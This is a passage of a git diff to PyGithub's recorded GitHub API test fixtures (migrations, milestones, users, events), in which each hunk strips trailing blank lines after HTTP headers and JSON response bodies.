('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.047402'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '87CF:20FB:A75E84:1648F66:5B9AC312')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3/migrations/users/#download-a-user-migration-archive"} - diff --git a/tests/ReplayData/Migration.testGetStatus.txt b/tests/ReplayData/Migration.testGetStatus.txt index 3340b2ded7..8af1437680 100644 --- a/tests/ReplayData/Migration.testGetStatus.txt +++ b/tests/ReplayData/Migration.testGetStatus.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:12:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1536871398'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"1b6bd1349731bdaaccb858dcffbbaba5"'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.111059'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '2C86:20F9:4DD21A:C78CC4:5B9AC4A2')] {"id":25320,"node_id":"MDk6TWlncmF0aW9uMjUzMjA=","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"guid":"608bceae-b790-11e8-8b43-4e3cb0dd56cc","state":"exported","lock_repositories":false,"exclude_attachments":false,"repositories":[{"id":148631065,"node_id":"MDEwOlJlcG9zaXRvcnkxNDg2MzEwNjU=","name":"sample-repo","full_name":"singh811/sample-repo","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/singh811/sample-repo","description":null,"fork":false,"url":"https://api.github.com/repos/singh811/sample-repo","forks_url":"https://api.github.com/repos/singh811/sample-repo/forks","keys_url":"https://api.github.com/repos/singh811/sample-repo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/singh811/sample-repo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/singh811/sample-repo/teams","hooks_url":"https://api.github.com/repos/singh811/sample-repo/hooks","issue_events_url":"https://api.github.com/repos/singh811/sample-repo/issues/events{/number}","events_url":"https://api.github.com/repos/singh811/sample-repo/events","assignees_url":"https://api.github.com/repos/singh811/sample-repo/assignees{/user}","branches_url":"https://api.github.com/repos/singh811/sample-repo/branches{/branch}","tags_url":"https://api.github.com/repos/singh811/sample-repo/tags","blobs_url":"https://api.github.com/repos/singh811/sample-repo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/singh811/sample-repo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/singh811/sample-repo/git/refs{/sha}","trees_url":"https://api.github.com/repos/singh811/sample-repo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/singh811/sample-repo/statuses/{sha}","languages_url":"https://api.github.com/repos/singh811/sample-repo/languages","stargazers_url":"https://api.github.com/repos/singh811/sample-repo/stargazers","contributors_url":"https://api.github.com/repos/singh811/sample-repo/contributors","subscribers_url":"https://api.github.com/repos/singh811/sample-repo/subscribers","subscription_url":"https://api.github.com/repos/singh811/sample-repo/subscription","commits_url":"https://api.github.com/repos/singh811/sample-repo/commits{/sha}","git_commits_url":"https://api.github.com/repos/singh811/sample-repo/git/commits{/sha}","comments_url":"https://api.github.com/repos/singh811/sample-repo/comments{/number}","issue_comment_url":"https://api.github.com/repos/singh811/sample-repo/issues/comments{/number}","contents_url":"https://api.github.com/repos/singh811/sample-repo/contents/{+path}","compare_url":"https://api.github.com/repos/singh811/sample-repo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/singh811/sample-repo/merges","archive_url":"https://api.github.com/repos/singh811/sample-repo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/singh811/sample-repo/downloads","issues_url":"https://api.github.com/repos/singh811/sample-repo/issues{/number}","pulls_url":"https://api.github.com/repos/singh811/sample-repo/pulls{/number}","milestones_url":"https://api.github.com/repos/singh811/sample-repo/milestones{/number}","notifications_url":"https://api.github.com/repos/singh811/sample-repo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/singh811/sample-repo/labels{/name}","releases_url":"https://api.github.com/repos/singh811/sample-repo/releases{/id}","deployments_url":"https://api.github.com/repos/singh811/sample-repo/deployments","created_at":"2018-09-13T11:58:30Z","updated_at":"2018-09-13T20:05:35Z","pushed_at":"2018-09-13T11:58:31Z","git_url":"git://github.com/singh811/sample-repo.git","ssh_url":"git@github.com:singh811/sample-repo.git","clone_url":"https://github.com/singh811/sample-repo.git","svn_url":"https://github.com/singh811/sample-repo","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true}}],"url":"https://api.github.com/user/migrations/25320","archive_url":"https://api.github.com/user/migrations/25320/archive","created_at":"2018-09-14T01:35:35.000+05:30","updated_at":"2018-09-14T01:35:46.000+05:30"} - diff --git a/tests/ReplayData/Migration.testUnlockRepo.txt b/tests/ReplayData/Migration.testUnlockRepo.txt index 487a0b2e56..59b69da3a4 100644 --- a/tests/ReplayData/Migration.testUnlockRepo.txt +++ b/tests/ReplayData/Migration.testUnlockRepo.txt @@ -7,5 +7,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:18:24 GMT'), ('Content-Type', 'application/octet-stream'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4966'), ('X-RateLimit-Reset', '1536871398'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.123605'), ('X-GitHub-Request-Id', '1EA2:20FA:80B1CA:128FAE1:5B9AC610')] - - diff --git a/tests/ReplayData/Milestone.setUp.txt b/tests/ReplayData/Milestone.setUp.txt index f13ebe417a..7b0d539b72 100644 --- a/tests/ReplayData/Milestone.setUp.txt +++ b/tests/ReplayData/Milestone.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('content-length', '556'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"977ee5e1d9c368036c6121e01680ce45"'), ('date', 'Fri, 11 May 2012 13:34:49 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","number":1,"closed_issues":2,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","created_at":"2012-03-08T12:22:10Z","state":"closed","creator":{"url":"https://api.github.com/users/jacquev6","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"description":"","open_issues":0,"id":93546} - diff --git a/tests/ReplayData/Milestone.testDelete.txt b/tests/ReplayData/Milestone.testDelete.txt index a9c841d503..f3640067ff 100644 --- a/tests/ReplayData/Milestone.testDelete.txt +++ b/tests/ReplayData/Milestone.testDelete.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4938'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 10:34:44 GMT')] - - diff --git a/tests/ReplayData/Milestone.testEditWithAllParameters.txt b/tests/ReplayData/Milestone.testEditWithAllParameters.txt index 2f980f935a..ce7be1dffa 100644 --- a/tests/ReplayData/Milestone.testEditWithAllParameters.txt +++ b/tests/ReplayData/Milestone.testEditWithAllParameters.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4946'), ('content-length', '606'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ac9f76c61e1fe0e76cd26e77e59d5797"'), ('date', 'Sat, 19 May 2012 10:30:15 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","due_on":"2012-06-16T07:00:00Z","creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"number":5,"open_issues":0,"title":"Title edited twice by PyGithub","closed_issues":0,"created_at":"2012-05-19T10:24:13Z","state":"closed","description":"Description edited by PyGithub","id":121463} - diff --git a/tests/ReplayData/Milestone.testEditWithMinimalParameters.txt b/tests/ReplayData/Milestone.testEditWithMinimalParameters.txt index a8ae1c1847..092b06a82d 100644 --- a/tests/ReplayData/Milestone.testEditWithMinimalParameters.txt +++ b/tests/ReplayData/Milestone.testEditWithMinimalParameters.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4954'), ('content-length', '599'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"df00dd4d1183f48c313b9cf04330623b"'), ('date', 'Sat, 19 May 2012 10:29:02 GMT'), ('content-type', 'application/json; charset=utf-8')] {"closed_issues":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","due_on":"2012-06-15T07:00:00Z","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"number":5,"open_issues":0,"title":"Title edited by PyGithub","created_at":"2012-05-19T10:24:13Z","state":"open","description":"Description created by PyGithub","id":121463} - diff --git a/tests/ReplayData/Milestone.testGetLabels.txt b/tests/ReplayData/Milestone.testGetLabels.txt index 397e007dc1..01cb395a95 100644 --- a/tests/ReplayData/Milestone.testGetLabels.txt +++ b/tests/ReplayData/Milestone.testGetLabels.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4942'), ('content-length', '253'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"cd4ed3176e27a01da9a51f84c7b19b63"'), ('date', 'Sat, 19 May 2012 10:33:15 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"}] - diff --git a/tests/ReplayData/NamedUser.setUp.txt b/tests/ReplayData/NamedUser.setUp.txt index 38c78efd1c..093b8dd8dc 100644 --- a/tests/ReplayData/NamedUser.setUp.txt +++ b/tests/ReplayData/NamedUser.setUp.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4960'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2b9d2167029cc33666d02e0b0e95f2b9"'), ('date', 'Sat, 26 May 2012 11:08:21 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","disk_usage":17080,"public_gists":2,"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_repos":11,"hireable":false,"private_gists":5,"plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"bio":"","company":"Criteo","blog":"http://vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","total_private_repos":5,"email":"vincent@vincent-jacques.net","collaborators":0,"followers":13,"name":"Vincent Jacques","owned_private_repos":5,"created_at":"2010-07-09T06:10:06Z","suspended_at":"2013-08-10T07:11:07Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6", "node_id":"MDQ6VXNlcjMyNzE0Ng=="} - diff --git a/tests/ReplayData/NamedUser.testAttributesOfOtherUser.txt b/tests/ReplayData/NamedUser.testAttributesOfOtherUser.txt index fd95b1012b..37d9906a16 100644 --- a/tests/ReplayData/NamedUser.testAttributesOfOtherUser.txt +++ b/tests/ReplayData/NamedUser.testAttributesOfOtherUser.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '598'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"66a516a2007fb7df8bbb3f9cc7cb2da8"'), ('date', 'Fri, 18 May 2012 19:46:37 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_gists":16,"type":"User","hireable":false,"company":"3rd Cloud","url":"https://api.github.com/users/nvie","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","bio":null,"followers":296,"blog":"http://nvie.com","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"nvie","email":"vincent@3rdcloud.com","public_repos":61,"html_url":"https://github.com/nvie","name":"Vincent Driessen","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","id":83844,"following":41,"node_id":"MDQ6VXNlcjgzODQ0","twitter_username":"nvie"} - diff --git a/tests/ReplayData/NamedUser.testGetEvents.txt b/tests/ReplayData/NamedUser.testGetEvents.txt index ff78a099dd..ec3bc087b6 100644 --- a/tests/ReplayData/NamedUser.testGetEvents.txt +++ b/tests/ReplayData/NamedUser.testGetEvents.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4955'), ('content-length', '75377'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"c8320d1ab46fc40525837ed17c96dd2e"'), ('date', 'Sun, 20 May 2012 12:17:21 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"GistEvent","payload":{"action":"create","gist":{"created_at":"2012-05-20T12:14:08Z","comments":0,"public":true,"updated_at":"2012-05-20T12:14:08Z","files":{},"git_push_url":"git@gist.github.com:2757859.git","url":"https://api.github.com/gists/2757859","id":"2757859","git_pull_url":"git://gist.github.com/2757859.git","description":"Gist created by PyGithub on a NamedUser","html_url":"https://gist.github.com/2757859","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-20T12:14:09Z","id":"1553915048","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:46:42Z","body":"Comment created by PyGithub","updated_at":"2012-05-20T11:46:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5808311","id":5808311,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":28,"created_at":"2012-05-19T10:38:23Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Body edited by PyGithub","comments":1,"title":"Title edited by PyGithub","updated_at":"2012-05-20T11:46:43Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","id":4653757,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"created_at":"2012-03-08T12:22:28Z","due_on":null,"title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"closed_issues":1,"open_issues":11,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":null,"labels":[{"name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","color":"e10c02"},{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"},{"name":"Question","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","color":"02e10c"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/28","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-20T11:46:43Z","id":"1553912723","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"63f8767c5b8d1f2f8d88346a58cdb6173e251d52","size":9,"push_id":79333321,"commits":[{"sha":"da3bea69229c6498be48968db8dc27d21b05da67","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/da3bea69229c6498be48968db8dc27d21b05da67","distinct":true,"message":"Test Tag attributes"},{"sha":"667937b437747df181cfeeab84fa74bcc5e7b118","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/667937b437747df181cfeeab84fa74bcc5e7b118","distinct":true,"message":"Test Hooks"},{"sha":"350e014d55a82eab268d7229c99debce8ede3625","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/350e014d55a82eab268d7229c99debce8ede3625","distinct":true,"message":"Remove completion of Hook"},{"sha":"799d22a39e12b020b49dc59ce5775c6135ee54ea","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/799d22a39e12b020b49dc59ce5775c6135ee54ea","distinct":true,"message":"Remove __completed from non-completable classes"},{"sha":"a097671795e9dba08ff8e86f59e58ba98a4478e2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a097671795e9dba08ff8e86f59e58ba98a4478e2","distinct":true,"message":"Test Gist"},{"sha":"fdb10338257556a7590f8f93c16284dba49743d6","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fdb10338257556a7590f8f93c16284dba49743d6","distinct":true,"message":"Rename some tests"},{"sha":"72c34a840d1492a62683f081bd00d286b28cef0f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/72c34a840d1492a62683f081bd00d286b28cef0f","distinct":true,"message":"Test labels (new special case in Repository.get_label...)"},{"sha":"c1787205baa31f20f8c444d2908677c4d09f4db0","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c1787205baa31f20f8c444d2908677c4d09f4db0","distinct":true,"message":"Test Milestone"},{"sha":"63f8767c5b8d1f2f8d88346a58cdb6173e251d52","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/63f8767c5b8d1f2f8d88346a58cdb6173e251d52","distinct":true,"message":"Test Issue"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-19T10:50:40Z","id":"1553749349","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":28,"created_at":"2012-05-19T10:38:23Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":null,"title":"Issue created by PyGithub","comments":0,"updated_at":"2012-05-19T10:38:23Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","id":4653757,"assignee":null,"milestone":null,"closed_at":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/28","labels":[],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-19T10:38:24Z","id":"1553748323","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"GistEvent","payload":{"action":"fork","gist":{"created_at":"2012-05-19T07:25:30Z","public":true,"comments":0,"files":{},"updated_at":"2012-05-19T07:25:30Z","git_push_url":"git@gist.github.com:2729865.git","url":"https://api.github.com/gists/2729865","id":"2729865","git_pull_url":"git://gist.github.com/2729865.git","description":"RoR setup in AWS EC2(Ubuntu 12.04 LTS)","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://gist.github.com/2729865"}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-19T07:25:31Z","id":"1553728670","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"GistEvent","payload":{"action":"update","gist":{"created_at":"2012-05-19T07:00:58Z","comments":0,"public":true,"git_push_url":"git@gist.github.com:2729810.git","files":{},"updated_at":"2012-05-19T07:06:10Z","url":"https://api.github.com/gists/2729810","id":"2729810","git_pull_url":"git://gist.github.com/2729810.git","description":"Description edited by PyGithub","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://gist.github.com/2729810"}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-19T07:06:10Z","id":"1553727205","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"GistEvent","payload":{"action":"update","gist":{"created_at":"2012-05-19T07:00:58Z","public":true,"comments":0,"updated_at":"2012-05-19T07:04:31Z","files":{},"git_push_url":"git@gist.github.com:2729810.git","url":"https://api.github.com/gists/2729810","id":"2729810","git_pull_url":"git://gist.github.com/2729810.git","description":"Description edited by 